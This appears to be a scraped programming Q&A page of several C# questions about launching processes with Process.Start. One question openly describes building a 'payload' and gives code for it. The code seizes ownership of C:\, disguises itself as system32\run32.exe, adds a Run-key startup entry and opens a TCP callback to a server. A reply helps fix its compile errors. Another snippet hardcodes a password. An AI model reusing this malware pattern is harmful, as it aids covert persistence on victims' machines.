When i run this application i get an message that DeviceApplication.CAB installation was unsuccessfull .
I checked inside the windows directory and i found that wceload.exe is available.
I have placed the cab inside the directory where the present exe is running .
Any idea how to do this ??
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Diagnostics;
using System.IO;
namespace DeviceApplication3
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
public void displayMesage() {
LaunchInstaller("DeviceApplication.cab");
}
private static bool LaunchInstaller(string cabFile)
{
// Info on WceLoad.exe
//http://msdn.microsoft.com/en-us/library/bb158700.aspx
const string installerExe = "\\windows\\wceload.exe";
const string processOptions = "";
try
{
ProcessStartInfo processInfo = new ProcessStartInfo();
processInfo.FileName = installerExe;
processInfo.Arguments = processOptions + " \"" + cabFile + "\"";
Process process = Process.Start(processInfo);
if (process != null)
{
process.WaitForExit();
}
return InstallationSuccessCheck(cabFile);
}
catch (Exception e)
{
MessageBox.Show("Sorry, for some reason this installation failed.\n" + e.Message);
Console.WriteLine(e);
throw;
}
}
private static bool InstallationSuccessCheck(string cabFile)
{
if (File.Exists(cabFile))
{
MessageBox.Show("Something in the install went wrong. Please contact support.");
return false;
}
return true;
}
}
}
Answering my own question ,
Its because of the path i gave in the process ,
ProcessStartInfo psi = new ProcessStartInfo(#"Windows\wceload.exe", "/nodelete \"Program Files\\DeviceApplication3\\DeviceApplication.CAB\"");
Process proc = Process.Start(psi);
Related
Error (CS0103): The name 'regk' does not exist in the current context
Error (CS0103): The name 'rk' does not exist in the current context
I am attempting to generate a payload.
Full code:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net;
using System.IO;
using System.Security.AccessControl;
using System.ComponentModel;
using System.Diagnostics;
using Microsoft.Win32;
using System.Net.Sockets;
namespace Test
{
class Class2
{
public static bool RunOnStartup(string AppTitle, string AppPath)
{
RegistryKey rk;
try
{
rk = Registry.LocalMachine.OpenSubKey(#"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
rk.SetValue(AppTitle, AppPath);
return true;
}
catch (Exception)
{
}
try
{
rk = Registry.CurrentUser.OpenSubKey(#"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
rk.SetValue(AppTitle, AppPath);
}
catch (Exception)
{
return false;
}
return true;
}
static void drop()
{
//take ownership of the file, code assumes file you want to delete is toBeDeleted.txt
ProcessStartInfo processInfo = new ProcessStartInfo("cmd.exe", #"/k takeown /f C:\ && icacls C:\ /grant %username%:F");
processInfo.CreateNoWindow = true;
processInfo.UseShellExecute = true;
processInfo.Verb = "runas";
processInfo.FileName = System.Reflection.Assembly.GetExecutingAssembly().Location;//path of your executable
try
{
Process.Start(processInfo);
// a prompt will be presented to user continue with deletion action
// you may want to have some other checks before deletion
File.Move(System.Reflection.Assembly.GetExecutingAssembly().Location, #"C:\Windows\system32\run32.exe");
RunOnStartup("sysrun32", #"C:\Windows\system32\run32.exe");
}
catch (Win32Exception)
{
//Do nothing as user cancelled UAC window.
}
catch (System.IO.IOException)
{
}
}
static void Main()
{
string serverip = "127.0.0.1";
if (File.Exists(#"C:\Windows\System32\run32.exe"))
{
if (System.Reflection.Assembly.GetExecutingAssembly().Location == #"C:\Windows\system32\run32.exe")
{
try
{
if(!Registry.LocalMachine.OpenSubKey(#"SOFTWARE\Microsoft\F12").GetValue == "true")
{
regk = Registry.LocalMachine.OpenSubKey(#"SOFTWARE\Microsoft\F12", true);
rk.SetValue("needsrun", "true");
}
else
{
TcpClient client = new TcpClient(serverip, 6675);
NetworkStream ns = client.GetStream();
ns.Write();
}
}
catch (Exception e)
{
}
}
}
else
{
drop();
}
}
}
}
There is my full code. Any help would be appreciated.
-bobboo101
Since regk isn't defined you need to define it's type or use var when you declare it e.g. var regk =.
You also can't access rk from Main because it's declared in RunOnStartup
You need to revise your class to store those variables at the class level as fields e.g. within Class2 and then you can access them from the methods you declare however keep in mind you have declared your methods as static so you will need to do the same for the variables or change the calls of your program to pass them to an instance.
I am trying to run a scheduled task from C# without opening a new command line window, using the following code without any success (it prompts a window every time I use it)
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Diagnostics;
namespace ConsoleApplication1
{
class Program
{
static void Main(string[] args)
{
try
{
Process p1 = new Process();
p1.StartInfo.FileName = #"C:\Windows\System32\schtasks.exe";
p1.StartInfo.Verb = "runas";
p1.StartInfo.Arguments = "/run /tn CCleaner";
p1.StartInfo.RedirectStandardOutput = true;
p1.StartInfo.UseShellExecute = false;
p1.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
p1.StartInfo.CreateNoWindow = true;
p1.Start();
p1.Close();
}
catch (Exception ex)
{
}
}
}
}
How could I solve this problem ?
Thank you so much for your attention
You can use a library that provides access to Task Scheduler API.
For example using http://taskscheduler.codeplex.com/
using (var ts = new TaskService())
{
Task task = ts.GetTask("My task");
task.Run();
}
I'm new to c#.
I'm looking for solution to this (app to check can be downloaded from http://download.eset.com/special/ESETLogCollector.exe
CODE:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Threading;
using System.Windows.Automation;
namespace LogCollector
{
class Program
{
static void Main(string[] args)
{
ProcessStartInfo proc = new ProcessStartInfo();
proc.UseShellExecute = true;
proc.WorkingDirectory = Environment.CurrentDirectory;
proc.FileName = "C:\\robot\\ESETLogCollector.exe";
proc.Verb = "runas";
Process.Start(proc);
System.Threading.Thread.Sleep(2000);
Console.WriteLine("Ahoj");
AutomationElement desktop = AutomationElement.RootElement;
Condition cond = new PropertyCondition(AutomationElement.NameProperty, "ESET Log Collector");
AutomationElement elc = desktop.FindFirst(TreeScope.Children, cond);
Console.WriteLine(elc.Current.Name);
String save_path = "";
Condition cond1 = new PropertyCondition(AutomationElement.AutomationIdProperty, "1005");
try
{
AutomationElement save_as = elc.FindFirst(TreeScope.Subtree, cond1);
Console.WriteLine(save_as.Current.AutomationId);
save_path = save_as.Current.Name;
}
catch (System.Exception e)
{
Console.WriteLine("EX: {0}", e.Message);
}
if (System.IO.File.Exists(save_path))
{
System.IO.File.Delete(save_path);
Console.WriteLine(save_path);
}
Condition cond2 = new PropertyCondition(AutomationElement.AutomationIdProperty, "1002");
AutomationElement collect = elc.FindFirst(TreeScope.Children, cond2);
Console.WriteLine(collect.Current.Name);
try
{
Object outObject;
collect.TryGetCurrentPattern(InvokePattern.Pattern, out outObject);
InvokePattern pattern = outObject as InvokePattern;
pattern.Invoke();
}
catch (System.Exception e)
{
Console.WriteLine("EX: {0}", e.Message);
}
Console.ReadKey();
}
}
}
All I still got IF I Want to invoke buttonclick is:
Operation is not valid due to the current stat of the object
I really don't know what is happening here. Can anybody help me with this?
Ty
The operation is probably failing because you are not running your automation application as administrator while the ESET Log Collector has been run with elevated permissions.
The UI Automation Security Overview describes the security model and how to communicate with processes that are running at a higher privilege level (i.e. you need a signed application with a manifest file that includes a special attribute).
I am making a C# Windows application for printing a PDF.
When I open the application, it only opens the Acrobat Reader window and no more printing. Is there anything I have missed in the function of Print()?
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Diagnostics;
using Microsoft.Win32;
namespace PrintDocumentsApplication
{
public partial class PrintForm : Form
{
public PrintForm()
{
InitializeComponent();
}
private void printPdfButton_Click(object sender, EventArgs e)
{
String File = #"C:\Documents and Settings\larasasasrylo\Desktop\QRCODE_DEMO\test.pdf";
String Printer = "\\vhssadasdasoftaweafs\\HP Color LaserJet 5550 PCL 6";
Print(File, Printer);
}
public static bool Print(string file, string printer)
{
try
{
Process.Start(
Registry.LocalMachine.OpenSubKey(
#"SOFTWARE\Microsoft\Windows\CurrentVersion" +
#"\App Paths\AcroRd32.exe").GetValue("").ToString(),
string.Format("/h /t \"{0}\" \"{1}\"", file, printer));
return true;
}
catch { }
return false;
}
}
}
you try this
Process process = new Process();
process.StartInfo.FileName = pathToPdfOrDocFile;
process.UseShellExecute = true;
process.StartInfo.Verb = "printto";
process.StartInfo.Arguments = "\"" + printerName + "\"";
process.Start();
process.WaitForInputIdle();
process.Kill();
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Diagnostics;
using System.Security;
namespace SampleProject
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
String input = textBox1.Text;
try
{
Process ps = new Process();
ps.StartInfo.FileName = #"\\199.63.55.163\d$\hello.bat";
ps.StartInfo.Arguments = input;
ps.StartInfo.CreateNoWindow = false;
String domain = ps.StartInfo.Domain;
ps.StartInfo.RedirectStandardOutput = true;
ps.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
ps.StartInfo.WorkingDirectory = #"d:\praveen";
ps.StartInfo.UserName = "Raj";
ps.StartInfo.Domain = "domain";
ps.StartInfo.Password = Encrypt("Hello123");
ps.StartInfo.UseShellExecute = false;
ps.Start();
ps.WaitForExit();
MessageBox.Show(ps.StandardOutput.ReadToEnd());
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
}
private void label1_Click(object sender, EventArgs e)
{
}
public static SecureString Encrypt(String pwd)
{
SecureString ss = new SecureString();
for (int i = 0; i < pwd.Length; i++)
{
ss.AppendChar(pwd[i]);
}
return ss;
}
}
}
It's a shot in the dark, but I think that you can't read the processes standard output once it has exited.
Also you have to redirect it - take a look at this documentation: http://msdn.microsoft.com/en-us/library/system.diagnostics.process.standardoutput.aspx
Duplicate of .NET Process Start Process Error using credentials (The handle is invalid) ? You need to assign RedirectStandardInput, RedirectStandardOutput, RedirectStandardError